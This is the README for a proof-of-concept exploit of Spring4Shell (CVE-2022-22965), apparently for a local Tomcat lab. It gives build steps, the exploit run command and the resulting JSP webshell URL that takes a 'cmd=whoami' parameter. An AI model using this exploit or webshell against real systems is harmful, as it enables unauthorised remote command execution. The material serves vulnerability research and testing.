
Proof-of-concept exploit for Spring4Shell (CVE-2022-22965) that deploys a JSP webshell via crafted HTTP requests to vulnerable Spring Boot applications on Apache Tomcat.
Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC
Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60
mvn clean package to build the applicationdemo-0.0.1-SNAPSHOT.war to spring-poc.war and copy this .war file to Tomcat's webapps directorypython exp.py --url http://localhost:8080/spring-poc/greeting
漏洞存在,shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami will be logged.tomcatwar.jsp written to Tomcat's webapps/spring-poc directory. This directory can be changed by modifying exp.py.

